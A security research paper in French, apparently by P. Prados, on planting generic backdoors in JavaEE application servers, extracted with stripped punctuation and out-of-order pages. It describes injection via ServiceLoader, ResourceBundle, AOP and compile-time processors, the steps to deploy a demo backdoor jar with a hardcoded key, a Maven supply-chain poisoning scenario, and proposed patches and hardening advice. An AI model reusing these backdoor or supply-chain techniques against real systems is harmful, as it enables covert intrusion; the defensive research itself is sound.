Pour plus drsquoinformations invoquez lrsquoaide

$ macaron -seal --help

15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing

P Prados 437

Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local

$ macaron -seal --in -place --sha1 -R m2repository

De meme pour un repository Ivy

$ macaron -seal --in -place -R ivy2cache

Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes

$ macaron -audit --output audit -tomcatxml

-R $CATALINA_HOME

$ macaron -seal --ignore audit -tomcatxml

-R $CATALINA_HOME --in -place

Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe

$ macaron -audit --output - -R $CATALINA_HOME |

macaron -seal --ignore - -R $CATALINA_HOME --in-place

La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges

$ $CATALINA_HOMEbincatalinash run -security

Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables

Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur

$ macaron -seal --audit sealedxml MonComposantwar

$ firefox sealedxml

438 Porte derobee dans les serveurs drsquoapplications JavaEE

55 Reduction du risque des META-INFservices

La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation

Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant

Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface

Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader

if (SystemgetSecurityManager ()=null)

final Permission perm=

new ServicePermission(servicegetName ())

AccessControllerdoPrivileged(

new PrivilegedAction ltObject gt()

public Object run()

if (clazzgetProtectionDomain ()implies(perm))

throw new AccessControlException(

install service denied perm perm)

return null

)

Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin

Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader

De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants

ndash comsunndash orgrelaxingdatatype

ndash sunmisc

P Prados 439

Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees

j2sesrc javautilServiceLoaderjava | 42 +-

j2sesrc javautilServicePermissionjava | 74 ++++

j2sesrc javaxxmlbindContextFinderjava | 66 ---

j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----

j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12

j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----

j2sesrc javaxxmlparsersSAXParserFactoryjava | 17

j2sesrc javaxxmlsoapFactoryFinderjava | 39 --

j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----

j2sesrc javaxxmltransformFactoryFinderjava | 86 ----

j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +

j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--

j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------

j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --

15 files changed 283 insertions (+) 646 deletions(-)

Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet

grant

permission javautilServicePermission

javaxxmlparsersSAXParserFactory

En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ServiceLocator -6jar

Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente

Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat

440 Porte derobee dans les serveurs drsquoapplications JavaEE

56 Reduction du risque des ResourcesBundles

Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles

Fig 15 Nouveau RessourceBundle

La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe

Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang

3Ajava

Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle

$ java -Xbootclasspathppatch -ResourceBundle -5 jar

Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources

static final ResourceBundleControl securityControl =

new ResourceBundleControl ()

private ConcurrentHashMap ltString String gt

cacheType=

new ConcurrentHashMap ltString String gt()

public List ltString gt getFormats(String baseName)

return CollectionsunmodifiableList(

P Prados 441

ArraysasList(securityorder))

public ResourceBundle newBundle(String baseName

Locale locale

String format ClassLoader loader

boolean reload)

throws IllegalAccessException

InstantiationException IOException

ResourceBundle bundle=null

if (formatequals(securityorder))

String lastFormat=cacheTypeget(baseName)

if (lastFormat ==null)

bundle=supernewBundle(baseName locale

javaproperties

loader reload)

if (bundle =null)

cacheTypeput(baseName javaproperties)

else

cacheTypeput(baseName javaclass)

bundle=supernewBundle(baseName locale

javaclass

loader reload)

else

bundle=supernewBundle(baseName locale

lastFormat

loader reload)

return bundle

public boolean needsReload(String baseName

Locale locale

String format

ClassLoader loader

ResourceBundle bundle

long loadTime)

boolean result=

superneedsReload(baseName locale

format loader bundle loadTime)

if (result)

cacheTyperemove(baseName)

return result

Il doit etre utilise a chaque invocation de RessourceBundle

442 Porte derobee dans les serveurs drsquoapplications JavaEE

ResourceBundlegetBundle(Messages securityControl)getString(key)

Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes

Un diffstat indique lrsquoetendu des modifications

ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------

1 file changed 58 insertions (+) 50 deletions(-)

Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ResourceBundle -6 jar

Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties

mv sampleproperties sampleprop

public static class sample extends PropertyResourceBundle

public sample () throws IOException

super(sampleclassgetResourceAsStream(

rsquorsquo+sampleclassgetName ()

replace(rsquorsquorsquorsquo)+prop))

6 Conseils pour se proteger

Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques

Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive

P Prados 443

Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access

Les logs indiquent les privileges accordes mais sont difficiles a interpreter

access access allowed (javalangRuntimePermission accessDeclaredMembers)

access access allowed(javaioFilePermissionwebappsbackdoorjee -sample

WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation

MethodHandlerAdapterBeanInfoclass read)access access denied (javalang

RuntimePermission defineClassInPackagejavalang)

Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir

Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques

Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo

Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration

La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)

Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active

Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en

ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

16 httpmacaron-policygooglecodecom

444 Porte derobee dans les serveurs drsquoapplications JavaEE

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Il est preferable drsquoutiliser les patchs proposes

Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite

Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail

7 Scenario du pire

Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible

Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy

Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production

P Prados 445

La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur

Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources

Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet

En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles

Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau

Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

416 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 13 Shell

Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles

3 Demonstration

Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution

Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire

Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire

Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee

Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee

P Prados 417

Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement

Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage

Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications

Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges

Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour

augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves

ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE

Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela

31 Execution

Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent

La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant

Chaque agent utilise un protocole qui lui est propre

32 Executer la demonstration

Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication

Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar

418 Porte derobee dans les serveurs drsquoapplications JavaEE

ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample

war

ndash httpwwwspringsourceorgdownload

Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console

$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar

$ mkdir -p WEB -INFlib

$ mv macaron -backdoor jar WEB -INFlib

$ jar -uf samplewar WEB -INF

$ cp samplewar $CATALINA_HOMEwebapps

Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication

export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-

actions

Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant

grant

Pour Macaron Backdoor

permission javautilPropertyPermission macaron -backdoorread

permission javalangRuntimePermission createClassLoader

permission javalangRuntimePermission getProtectionDomain

Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique

Puis lancez Tomcat

$ $CATALINA_HOMEbincatalinash run -security

Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n

33 Diffusion du code

La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact

P Prados 419

La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques

Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites

La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication

Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production

4 Propagation

Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne

Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource

Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine

Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier

Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement

En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle

7 httpmavenapacheorg

420 Porte derobee dans les serveurs drsquoapplications JavaEE

dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole

Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela

Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut

ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en

attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee

ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1

Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet

Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace

Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9

La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable

5 Les solutions

Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif

Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications

8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security

10 httpantapacheorgivy

P Prados 421

hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)

Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet

grant codeBase file$catalinabase webappsMonProjetWEB -INFlib

permission javalangRuntimePermission

createClassLoader

Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges

Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees

Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques

En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre

grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar

permission javalangRuntimePermission

createClassLoader

Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire

422 Porte derobee dans les serveurs drsquoapplications JavaEE

Le

table

ausu

ivan

tid

enti

fie

les

diff

eren

tspie

ges

pre

sents

dan

slrsquoar

chiv

ede

dem

onst

rati

on

